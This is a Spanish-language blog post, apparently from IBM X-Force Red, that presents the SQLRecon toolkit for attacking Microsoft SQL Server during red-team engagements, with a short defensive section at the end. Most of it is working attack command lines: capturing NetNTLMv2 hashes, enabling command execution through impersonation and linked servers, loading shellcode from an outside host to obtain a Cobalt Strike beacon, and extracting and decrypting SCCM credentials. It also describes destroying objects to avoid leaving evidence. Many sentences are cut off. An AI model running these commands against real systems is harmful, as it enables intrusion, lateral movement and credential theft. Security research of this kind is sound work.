A lo largo de mi carrera, he tenido la oportunidad privilegiada de echar un vistazo detrás del velo de algunas de las organizaciones más grandes del mundo. En mi experiencia, la mayoría de los sectores industriales dependen de redes empresariales de Windows. De hecho, puedo contar con una mano el número de veces que he visto una red descentralizada de zero trust, una red empresarial Linux, una red macOS o una alternativa al Active Directory (FreeIPA).
Mientras navego por estas grandes y a menudo complejas redes empresariales, es común descubrir Microsoft SQL Server, que normalmente se ha implementado para apoyar una función empresarial. Para los lectores que no estén familiarizados con SQL Server, el resumen es que se trata de un software de base de datos relacional que suele instalarse sobre un servidor Windows. El objetivo principal de SQL Server es almacenar y proporcionar datos a aplicaciones o usuarios.
Esta entrada de blog revisará la superficie de ataque que presenta SQL Server y cómo abusar de configuraciones erróneas y vulnerabilidades utilizando la herramienta de X-Force Red
Las vulnerabilidades y los errores de configuración de SQL Server están bien documentados. Aunque aparentemente estas debilidades siempre han existido, los equipos defensivos siguen pasando por alto de alguna manera el fortalecimiento de SQL Server. Me refiero sobre todo a reforzar la configuración subyacente e impedir el acceso trivial al servicio.
Una justificación plausible para este descuido es que existen riesgos mayores que una organización debe priorizar y abordar. Como resultado, el endurecimiento de SQL Server se queda en segundo plano, ya que manipular configuraciones de bases de datos de producción puede dar lugar a problemas de disponibilidad, que podrían desembocar en problemas operativos y, en última instancia, afectar a la productividad empresarial.
Boletín del sector
Manténgase al día sobre las tendencias más importantes e intrigantes del sector en materia de IA, automatización, datos y mucho más con el boletín Think. Consulte la Declaración de privacidad de IBM.
Su suscripción se enviará en inglés. Encontrará un enlace para darse de baja en cada boletín. Puede gestionar sus suscripciones o darse de baja aquí. Consulte nuestra Declaración de privacidad de IBM para obtener más información.
Uno de los errores de configuración más comunes que sigo viendo en las redes empresariales es la posibilidad de que cualquier objeto de dominio autenticado se conecte al servicio SQL como una cuenta con pocos privilegios. Esto solo requiere un contexto de dominio válido. En otras palabras, un token válido para un usuario de dominio o una cuenta de ordenador de dominio.
Para ilustrar un ejemplo, si la estación de trabajo de un usuario empresarial habitual se ve comprometida y existe una ruta de red a un SQL Server mal configurado, es posible que un adversario:
Estos son solo algunos ejemplos de lo que un adversario puede lograr al evaluar un SQL Server mal configurado dentro de un contexto de dominio. La superficie de ataque presentada por SQL Server siempre dependerá del entorno y la configuración a los que se enfrente.
En los últimos tiempos, los operadores de equipos rojos han sido bendecidos por la variedad de abusos de Active Directory que pueden aprovecharse para elevar los privilegios en las redes empresariales de Microsoft. Sin embargo, a medida que los equipos defensivos empiezan a controlar estas debilidades, naturalmente las vías para aumentar privilegios mediante el abuso de Active Directory tienden a agotarse.
Aun así, seguimos adelante y nos abrimos paso por la proverbial lista de ataques, buscando con optimismo vías de escalada que nos ayuden a actuar en función de nuestros objetivos. Me resisto un poco a admitir que, durante mucho tiempo, atacar a SQL Server estuvo bastante abajo en mi lista de prioridades. En su lugar, opté por priorizar cosas como los espacios de almacenamiento compartidos, las aplicaciones web internas, las herramientas de DevOps o la infraestructura en la nube. Probablemente pueda ver a dónde voy con esto...
En algún momento de 2022, tenía un compromiso y llegué a un punto muerto tras agotar todas las vías de escalada preferidas. Esto se debió en gran parte a un entorno excepcionalmente bien protegido. Al menos, eso era lo que pensaba antes de descubrir una gran granja de SQL Server, donde solo tenía que haber un error de configuración o una vulnerabilidad.
Sin que yo lo supiera en ese momento, y solo después de escribir esta entrada de blog, descubrí que Kaspersky encontró que los ataques recurrentes usando SQL Server habían aumentado un 56 % en 2022. Es una cantidad asombrosa.
Como operador del equipo rojo, a menudo interactúo con sistemas que he comprometido en las redes de nuestros clientes utilizando un marco de comando y control (C2). Los clientes con los que tenemos la suerte de trabajar suelen tener programas de ciberseguridad maduros, equipos defensivos capaces y controles de seguridad modernos, como soluciones de detección y respuesta de endpoints (EDR).
A lo largo de los años se han desarrollado varias herramientas para atacar SQL Server. La que siempre acababa buscando durante mis días de pen-testing era
Las soluciones EDR (detección y respuesta de endpoints) pueden ser un oponente formidable al que enfrentarse, ya que hacen un trabajo fantástico detectando herramientas maliciosas de código abierto diseñadas para la seguridad ofensiva, especialmente aquellas que dependen de PowerShell. No se trata de despreciar las herramientas posteriores a la explotación de PowerShell, sino que tienen un propósito, pero no para el problema al que me enfrentaba en el entorno en el que me encontraba.
El problema que tenía en mi compromiso era que necesitaba encontrar la manera de conectarme a Microsoft SQL Server y empezar a interrogarlo para determinar si había alguna configuración incorrecta o vulnerabilidad. Sin embargo, el uso de cualquiera de las herramientas posteriores a la explotación de SQL Server existentes, que se basan en PowerShell, habría sido una forma segura de ser atrapado por el equipo defensivo. Esto se debe a una variedad de razones, que no analizaré en detalle, pero PowerShell no es un arnés ideal para lanzar sus ataques posteriores a la explotación debido a características de seguridad como AMSI, modo de lenguaje restringido y varios estilos de información de registro. Esto se agrava aún más cuando se implementa una solución EDR y otros controles de información de registro y monitorización.
Como alternativa, los operadores del equipo rojo suelen elegir C# como lenguaje para desarrollar herramientas posexplotación, ya que proporciona una forma sencilla de interactuar con el marco .NET junto con las API de Windows.
De ninguna manera soy desarrollador de C# o .NET, pero sé lo suficiente como para escribir herramientas que resuelvan un problema al que me enfrento. Cola , un kit de herramientas C# SQL diseñado para el reconocimiento ofensivo y la posexplotación.
Proveedores de autenticación
Módulos de enumeración
Ejecución de comandos, movimiento lateral y escalada de privilegios
Seguridad operativa
Otros
Para información detallada sobre el uso de cada técnica, consulta la wiki.
Para preparar el escenario para las próximas demostraciones, operaré desde una estación de trabajo Windows 10 comprometida que pertenece a Jeff Smith
La estación de trabajo de Jeff tiene una ruta de red a tres SQL Servers, cada uno de los cuales ejecuta versiones diferentes; 2016, 2019 y 2022.
Se ha configurado un enlace SQL entre
Además, existe un enlace de Active Directory Services (ADSI) entre
Por último, el
Figura 1: Configuración de red
Además, aprovecharé Cobalt Strike, que es un popular marco de comando y control, para realizar tareas posteriores a la explotación desde la estación de trabajo comprometida de Jeff
Figura 2: Emisión del comando whoami
En el momento de escribir este artículo,SQLRecon dominio, hay un SPN establecido para un par de cuentas diferentes, esto se demuestra en la siguiente captura de pantalla.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
Figura 3: Descubrimiento de SQL Server a través del módulo de recopilación SPN
Se llama al
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
Figura 4: Obtención de información sobre SQL02
Un agradecimiento a Daniel Duggan (@_RastaMouse) por sus contribuciones a los módulos de enumeración en
Los módulos Standard se ejecutan en una única instancia de SQL Server.
En el siguiente ejemplo, utilizo el
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
Figura 5: Enumeración de privilegios SQL para
De forma predeterminada,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
Figura 6: Enumeración de bases de datos en
Puede conectarse a otras bases de datos especificando el nombre de la base de datos con /
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
Figura 7: Obtención de datos de tarjetas ficticias de la
Pasando a algunos módulos más interesantes,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
Figura 8: Inyección de ruta UNC
En la siguiente captura de pantalla, podemos ver la conexión realizada por
Figura 9: Obtención del hash NetNTLMv2 para
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
Figura 10: Demostración de la barrera que impide la ejecución de órdenes
Como se ve en la imagen anterior, se encuentra una barrera de ejecución y se recibe un mensaje de error que indica que
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
Figura 11: Demostración de otra barrera, en la que la insuficiencia de privilegios impide la ejecución de comandos
Como era de esperar, la cuenta de privilegio
La suplantación SQL es un permiso especial que esencialmente permite a un usuario o grupo operar con el permiso de otro usuario, así como con sus propios permisos. La siguiente captura de pantalla está tomada de la configuración del backend de
Figura 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
Como se ve en la captura de pantalla de abajo, la
Figura 13: Enumeración de cuentas en las que se puede suplantar
Para demostrar otro módulo de ejecución de comandos,
Los módulos de suplantación de identidad siempre van precedidos de la letra
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
Figura 14: Habilitación de procedimientos de Automatización OLE mediante suplantación
Ahora que los procedimientos de Automatización OLE están habilitados en
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
Figura 15: Uso de PowerShell para enumerar un directorio en un host remoto
Como se ve en la captura de pantalla anterior, se crea un objeto OLE y un método generados aleatoriamente, luego se ejecuta el comando malicioso y se destruyen los objetos OLE. Esto es intencionado, ya que no queremos dejar ninguna prueba de nuestras acciones.
En la siguiente captura de pantalla, podemos ver la conexión que está realizando la
Figura 16: Obtención del hash NetNTLMv2 para
El siguiente ejemplo demuestra el uso de la suplantación para ejecutar el
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
Figura 17: Habilitando
Siempre es una buena práctica revertir las configuraciones al estado en el que se encontraban originalmente.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
Figura 18: Desactivación de procedimientos de automatización OLE y
Figura 19:
La configuración de un enlace de una instancia de SQL Server a otra suele requerir un conjunto de credenciales privilegiadas para establecer y vincular el enlace. Esto es beneficioso para los adversarios, ya que permite ejecutar comandos en el SQL Server vinculado en el contexto de la cuenta que ha establecido la conexión. Otro punto a considerar es que los servidores vinculados pueden estar segmentados de la red en la que opera un adversario. Esto podría presentar la oportunidad de atravesar los límites de la segmentación y entrar en una zona de red con mayores requisitos de seguridad.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
Figura 20: Enumeración de SQL Servers enlazados en
Los módulos vinculados siempre se anteponen con la letra
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
Figura 21: Enumeración de los privilegios de SQL que podemos asumir en
Como se ve en la captura de pantalla anterior, estamos operando en el contexto de la
Todos los módulos de ejecución en
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
Figura 22: Habilitación de la integración de CLR en
La integración de CLR permite importar ensamblados .NET personalizados a SQL Server. Estos ensamblados se almacenan dentro de un procedimiento almacenado antes de ser ejecutados. Esta es una buena primitiva de ataque de movimiento lateral.
En la siguiente captura de pantalla, creo un ensamblado .NET personalizado compatible con CLR de SQL Server llamado
Figura 23:
Si está interesado en obtener más información sobre los ensamblados .NET personalizados de SQL Server compatibles con CLR, visite la sección Clr de la
En la siguiente demostración, he subido
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
Figura 24: Obtención de Cobalt Strike beacon en el contexto de
Por supuesto, el ejemplo anterior requiere que
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
Figura 25: Obtención de una baliza Cobalt Strike en el contexto de
Figura 26:
La configuración de un enlace ADSI desde una instancia de SQL Server a un controlador de dominio de Active Directory no requiere necesariamente credenciales privilegiadas. Sin embargo, durante las operaciones del mundo real, he visto casos en los que no se ha aplicado el principio de privilegio mínimo.
En el siguiente ejemplo, utilizo el
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
Figura 27: Enumeración de enlaces en
Ahora que hemos verificado que existe un enlace ADSI en
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
Figura 28: Ataque de recopilación de credenciales ADSI de doble enlace
Una de las mayores extensiones de
Simplemente me referiré tanto a ECM como a SCCM como SCCM a partir de este punto.
En el siguiente ejemplo, utilizo el módulo de bases de datos para enumerar los
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
Figura 29: Enumeración de bases de datos en
Como se ve en la captura de pantalla anterior, la
Los módulos SCCM siempre van precedidos por la letra
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figura 30: Enumeración de todos los usuarios que pueden iniciar sesión en SCCM a través de la base de datos SCCM SQL Server
También es posible enumerar tareas que se han configurado en SCCM utilizando la
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figura 31: Enumeración de tareas configuradas en SCCM a través de la base de datos SCCM SQL Server
Por lo general, SCCM necesitará credenciales de bóveda, que se utilizan para autenticarse en sistemas o recursos en un entorno para implementar paquetes de software o realizar cualquiera de las otras acciones proporcionadas por SCCM. Uso del
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
Figura 32: Obtención de credenciales archivadas a través de la base de datos SCCM SQL Server
En la captura de pantalla anterior, podemos ver que se ha guardado una credencial y esta es la credencial del
Con la lógica de Adam Chester( @_xpn_), es posible descifrar las credenciales guardadas de SCCM y obtener la contraseña en texto sin cifrar de las cuentas guardadas. Esto requiere privilegios de administrador local en el servidor SCCM. En la siguiente captura de pantalla, utilizo
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
Figura 33: Descifrado de credenciales SCCM almacenadas
Para evitar que los atacantes abusen de SQL Server, los defensores pueden adoptar un enfoque por capas a la hora de implementar los controles de seguridad. En primer lugar, recomiendo encarecidamente leer la guía oficial de Microsoft sobre buenas prácticas de seguridad de SQL Server.
La siguiente parada debería ser la orientación de prevención, detección y mitigación en la
Se deben considerar los siguientes controles de seguridad para su implementación a nivel de red.
estaciones de trabajo y servidores del entorno.
Los ataques contra SQL Server siguen siendo relevantes en el panorama de la ciberseguridad de hoy. Los adversarios evolucionan constantemente sus técnicas para evadir los controles defensivos y, al hacerlo, explotan cada vez más los servicios auxiliares, como SQL Server. Estos ataques se han vuelto más sofisticados y sigilosos, a menudo empleando técnicas menos comunes para eludir las medidas de seguridad tradicionales.
Al abusar de SQL Server, los adversarios pueden obtener acceso no autorizado a datos confidenciales, manipular bases de datos e incluso comprometer sistemas enteros. Las consecuencias de estos ataques pueden ser graves y provocar vulneraciones de datos, pérdidas financieras y daños a la reputación de una organización.
Para mitigar el riesgo de estos ataques, es fundamental que las organizaciones revisen sus configuraciones de SQL Server y adopten buenas prácticas de seguridad. Además, las organizaciones deben invertir en soluciones de seguridad que proporcionen capacidades de monitorización en tiempo real, detección de anomalías y análisis del comportamiento. Estas soluciones pueden ayudar a detectar y responder a los ataques de manera más efectiva, minimizando el impacto potencial en datos y sistemas críticos. Al tomar medidas proactivas para proteger los entornos de SQL Server, las organizaciones pueden reducir significativamente el riesgo de ser víctimas de estos ataques y proteger sus valiosos activos de datos.
Siempre puede encontrar la última versión estable de
Si va a acudir a Black Hat Las Vegas y está interesado en obtener más información, puede asistir a mi sesión: Abusar de Microsoft SQL Server con SQLRecon el jueves 10 de agosto a las 13:00 PT.